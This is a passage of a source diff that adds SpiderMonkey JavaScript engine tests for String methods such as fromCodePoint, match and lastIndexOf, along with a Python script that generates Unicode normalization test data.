+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+// str_fromCodePoint_one_arg (single argument, creates an inline string)
+assertEq(String.fromCodePoint(0x31), '1');
+// str_fromCodePoint_few_args (few arguments, creates an inline string)
+// JSFatInlineString::MAX_LENGTH_TWO_BYTE / 2 = floor(11 / 2) = 5
+assertEq(String.fromCodePoint(0x31, 0x32), '12');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33), '123');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34), '1234');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35), '12345');
+// str_fromCodePoint (many arguments, creates a malloc string)
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35, 0x36), '123456');
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/internalUsage.js b/js/src/tests/non262/String/internalUsage.js
new file mode 100644
index 0000000000..6ee8d5a581
--- /dev/null
+++ b/js/src/tests/non262/String/internalUsage.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1268138;
+var summary = 'Internal usage of split should not be affected by prototpe change';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var t = 24*60*60*1000;
+ var possibleAnswer = ["1.1.1970", "2.1.1970", "3.1.1970"];
+
+ String.prototype[Symbol.split] = function(s, limit) { return [""]; };
+ var s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["x-foo"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["de-u-co"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["en-US"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+}
+
+if (this.hasOwnProperty("Intl"))
+ test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/String/iterator_edge_cases.js b/js/src/tests/non262/String/iterator_edge_cases.js
new file mode 100644
index 0000000000..15fe6d0fb1
--- /dev/null
+++ b/js/src/tests/non262/String/iterator_edge_cases.js
@@ -0,0 +1,27 @@
+// Test that we can't confuse %StringIteratorPrototype% for a
+// StringIterator object.
+function TestStringIteratorPrototypeConfusion() {
+ var iter = ""[Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible String Iterator");
+ }
+}
+TestStringIteratorPrototypeConfusion();
+
+// Tests that we can use %StringIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestStringIteratorWrappers() {
+ var iter = ""[Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('"x"[Symbol.iterator]()')),
+ { value: "x", done: false })
+}
+if (typeof newGlobal === "function") {
+ TestStringIteratorWrappers();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js b/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
new file mode 100644
index 0000000000..a4c3c316e0
--- /dev/null
+++ b/js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var str = "a";
+var searchStr = "abc";
+
+var position = new Object();
+var valueOfCalled = false;
+function positionValueOf() {
+ assertEq(valueOfCalled, false);
+ valueOfCalled = true;
+ return 0;
+}
+position.valueOf = positionValueOf;
+
+var result = str.lastIndexOf(searchStr, position);
+assertEq(result, -1);
+assertEq(valueOfCalled, true);
+
+if (typeof reportCompare == "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/String/make-normalize-generateddata-input.py b/js/src/tests/non262/String/make-normalize-generateddata-input.py
new file mode 100644
index 0000000000..5c3d2d3e44
--- /dev/null
+++ b/js/src/tests/non262/String/make-normalize-generateddata-input.py
@@ -0,0 +1,87 @@
+#!/usr/bin/python -B
+
+""" Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL
+
+ This script generates test input data for String.prototype.normalize
+ from intl/icu/source/data/unidata/NormalizationTest.txt
+ to js/src/tests/non262/String/normalize-generateddata-input.js
+"""
+
+import re
+import sys
+
+sep_pat = re.compile(" +")
+
+
+def to_code_list(codes):
+ return "[" + ", ".join("0x{0}".format(x) for x in re.split(sep_pat, codes)) + "]"
+
+
+def convert(dir):
+ ver_pat = re.compile("NormalizationTest-([0-9\.]+)\.txt")
+ part_pat = re.compile("^@(Part([0-9]+) .+)$")
+ test_pat = re.compile(
+ "^([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);$"
+ )
+ ignore_pat = re.compile("^#|^$")
+ js_path = "js/src/tests/non262/String/normalize-generateddata-input.js"
+ txt_path = "intl/icu/source/data/unidata/NormalizationTest.txt"
+
+ part_opened = False
+ not_empty = False
+ with open("{dir}/{path}".format(dir=dir, path=txt_path), "r") as f:
+ with open("{dir}/{path}".format(dir=dir, path=js_path), "w") as outf:
+ for line in f:
+ m = test_pat.search(line)
+ if m:
+ if not_empty:
+ outf.write(",")
+ outf.write("\n")
+ pat = "{{ source: {source}, NFC: {NFC}, NFD: {NFD}, NFKC: {NFKC}, NFKD: {NFKD} }}" # NOQA: E501
+ outf.write(
+ pat.format(
+ source=to_code_list(m.group(1)),
+ NFC=to_code_list(m.group(2)),
+ NFD=to_code_list(m.group(3)),
+ NFKC=to_code_list(m.group(4)),
+ NFKD=to_code_list(m.group(5)),
+ )
+ )
+ not_empty = True
+ continue
+ m = part_pat.search(line)
+ if m:
+ desc = m.group(1)
+ part = m.group(2)
+ if part_opened:
+ outf.write("\n];\n")
+ outf.write("/* {desc} */\n".format(desc=desc))
+ outf.write("var tests_part{part} = [".format(part=part))
+ part_opened = True
+ not_empty = False
+ continue
+ m = ver_pat.search(line)
+ if m:
+ ver = m.group(1)
+ outf.write(
+ "/* created from NormalizationTest-{ver}.txt */\n".format(
+ ver=ver
+ )
+ )
+ continue
+ m = ignore_pat.search(line)
+ if m:
+ continue
+ print("Unknown line: {0}".format(line), file=sys.stderr)
+ if part_opened:
+ outf.write("\n];\n")
+
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print(
+ "Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL",
+ file=sys.stderr,
+ )
+ sys.exit(1)
+ convert(sys.argv[1])
diff --git a/js/src/tests/non262/String/match-001.js b/js/src/tests/non262/String/match-001.js
new file mode 100644
index 0000000000..39eca3035c
--- /dev/null
+++ b/js/src/tests/non262/String/match-001.js
@@ -0,0 +1,104 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-001.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-001.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+// cases in which the regexp global property is false
+
+AddRegExpCases( 3, "3", "1234567890", 1, 2, ["3"] );
+
+// cases in which the regexp object global property is true
+
+AddGlobalRegExpCases( /34/g, "/34/g", "343443444", 3, ["34", "34", "34"] );
+AddGlobalRegExpCases( /\d{1}/g, "/d{1}/g", "123456abcde7890", 10,
+ ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] );
+
+AddGlobalRegExpCases( /\d{2}/g, "/d{2}/g", "123456abcde7890", 5,
+ ["12", "34", "56", "78", "90"] );
+
+AddGlobalRegExpCases( /\D{2}/g, "/d{2}/g", "123456abcde7890", 2,
+ ["ab", "cd"] );
+
+test();
+
+
+function AddRegExpCases(
+ regexp, str_regexp, string, length, index, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, length, matches_array ) {
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ length,
+ string.match(regexp).length );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-002.js b/js/src/tests/non262/String/match-002.js
new file mode 100644
index 0000000000..5450557fe6
--- /dev/null
+++ b/js/src/tests/non262/String/match-002.js
@@ -0,0 +1,172 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-002.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ * This file tests cases in which regexp.global is false. Therefore,
+ * results should behave as regexp.exec with string passed as a parameter.
+ *
+ */
+
+var SECTION = "String/match-002.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+AddRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/",
+ "Boston, Mass. 02134",
+ 14,
+ ["02134", "02134", undefined]);
+
+AddGlobalRegExpCases( /([\d]{5})([-\ ]?[\d]{4})?$/g,
+ "/([\d]{5})([-\ ]?[\d]{4})?$/g",
+ "Boston, Mass. 02134",
+ ["02134"]);
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/;
+re.lastIndex = 0;
+
+s = "Boston, MA 02134";
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex =0",
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.length,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0"),
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+ "re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+ s.lastIndexOf("0") +1,
+ s,
+ s.lastIndexOf("0"),
+ ["02134", "02134", undefined]);
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ string,
+ string.match(regexp).input );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-003.js b/js/src/tests/non262/String/match-003.js
new file mode 100644
index 0000000000..f22b02e108
--- /dev/null
+++ b/js/src/tests/non262/String/match-003.js
@@ -0,0 +1,130 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-003.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-003.js";
+var TITLE = "String.prototype.match( regexp )";
+
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+
+// [if regexp.global is true] set the regexp.lastIndex property to 0 and
+// invoke RegExp.prototype.exec repeatedly until there is no match. If
+// there is a match with an empty string (in other words, if the value of
+// regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+// The value returned is an array with the properties 0 through n-1
+// corresponding to the first element of the result of each matching invocation
+// of RegExp.prototype.exec.
+
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/g;
+
+
+s = "Boston, MA 02134";
+
+AddGlobalRegExpCases( re,
+ "re = " + re,
+ s,
+ ["02134" ]);
+
+re.lastIndex = 0;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = 0 ",
+ s,
+ ["02134"]);
+
+
+re.lastIndex = s.length;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = " + s.length,
+ s,
+ ["02134"] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddGlobalRegExpCases(
+ re,
+ "re = "+ re +"; re.lastIndex = " + s.lastIndexOf("0"),
+ s,
+ ["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " +re+ "; re.lastIndex = " + (s.lastIndexOf("0") +1),
+ s,
+ ["02134"]);
+
+test();
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( string.match(regexp) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + str_regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-004.js b/js/src/tests/non262/String/match-004.js
new file mode 100644
index 0000000000..43fb45e8a9
--- /dev/null
+++ b/js/src/tests/non262/String/match-004.js
@@ -0,0 +1,172 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-004.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ *
+ * The match function should be intentionally generic, and not require
+ * this to be a string.
+ *
+ */
+
+var SECTION = "String/match-004.js";
+var TITLE = "String.prototype.match( regexp )";
+
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=345818";
+
+printBugNumber(BUGNUMBER);
+
+// set the value of lastIndex
+re = /0./;
+s = 10203040506070809000;
+
+Number.prototype.match = String.prototype.match;
+
+AddRegExpCases( re,
+ "re = " + re ,
+ s,
+ String(s),
+ 1,
+ ["02"]);
+
+
+re.lastIndex = 0;
+AddRegExpCases( re,
+ "re = " + re +" [lastIndex is " + re.lastIndex+"]",
+ s,
+ String(s),
+ 1,
+ ["02"]);
+/*
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.length,
+s,
+s.lastIndexOf("0"),
+null );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0"),
+s,
+s.lastIndexOf("0"),
+["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0") +1,
+s,
+0,
+null);
+*/
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, str_string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ str_string,
+ string.match(regexp).input );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/non262/String/match-GetMethod.js b/js/src/tests/non262/String/match-GetMethod.js
new file mode 100644
index 0000000000..85a9822d8f
--- /dev/null
+++ b/js/src/tests/non262/String/match-GetMethod.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.match should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.match]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+var expected = ["-"];
+expected.index = 1;
+expected.input = "a-a";
+expected.groups = undefined;
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".match(create(v)), expected);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".match(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/match-defines-match-elements.js b/js/src/tests/non262/String/match-defines-match-elements.js
new file mode 100644
index 0000000000..e1a38e30c8
--- /dev/null
+++ b/js/src/tests/non262/String/match-defines-match-elements.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 677820;
+var summary =
+ "String.prototype.match must define matches on the returned array, not set " +
+ "them";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+function setterFunction(v) { called = true; }
+function getterFunction(v) { return "getter"; }
+
+Object.defineProperty(Array.prototype, 1,
+ { get: getterFunction, set: setterFunction });
+
+assertEq(called, false);
+var matches = "abcdef".match(/./g);
+assertEq(called, false);
+assertEq(matches.length, 6);
+assertEq(matches[0], "a");
+assertEq(matches[1], "b");
+assertEq(matches[2], "c");
+assertEq(matches[3], "d");
+assertEq(matches[4], "e");
+assertEq(matches[5], "f");
+
+var desc = Object.getOwnPropertyDescriptor(Array.prototype, 1);
+assertEq(desc.get, getterFunction);
+assertEq(desc.set, setterFunction);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq([][1], "getter");
+
+assertEq(called, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-forward-lookahead.js b/js/src/tests/non262/String/match-forward-lookahead.js
new file mode 100644
index 0000000000..6097b66044
--- /dev/null
+++ b/js/src/tests/non262/String/match-forward-lookahead.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match behavior with zero-length matches involving " +
+ "forward lookahead";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var r = /(?=x)/g;
+
+var res = "aaaaaaaaaxaaaaaaaaax".match(r);
+assertEq(res.length, 2);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js b/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js
new file mode 100644
index 0000000000..b36916d4c5
--- /dev/null
+++ b/js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should throw when called with a global RegExp " +
+ "whose .lastIndex is non-writable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+
+// First time with .lastIndex === 0
+
+var p1 = /x/g;
+Object.defineProperty(p1, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p1);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Second time with .lastIndex !== 0
+
+var p2 = /x/g;
+Object.defineProperty(p2, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p2);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Third time with .lastIndex === 0, no matches
+
+var p3 = /q/g;
+Object.defineProperty(p3, "lastIndex", { writable: false });
+
+try
+{
+ s.match(p3);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+// Fourth time with .lastIndex !== 0, no matches
+
+var p4 = /q/g;
+Object.defineProperty(p4, "lastIndex", { writable: false, value: 3 });
+
+try
+{
+ s.match(p4);
+ throw "didn't throw";
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "should have thrown a TypeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match-updates-global-lastIndex.js b/js/src/tests/non262/String/match-updates-global-lastIndex.js
new file mode 100644
index 0000000000..cc18219ac3
--- /dev/null
+++ b/js/src/tests/non262/String/match-updates-global-lastIndex.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 501739;
+var summary =
+ "String.prototype.match should zero the .lastIndex when called with a " +
+ "global RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = '0x2x4x6x8';
+var p = /x/g;
+p.lastIndex = 3;
+
+var arr = s.match(p);
+assertEq(arr.length, 4);
+arr.forEach(function(v) { assertEq(v, "x"); });
+assertEq(p.lastIndex, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/String/match.js b/js/src/tests/non262/String/match.js
new file mode 100644
index 0000000000..b9b0d27a67
--- /dev/null
+++ b/js/src/tests/non262/String/match.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@match] from String.prototype.match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.match](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
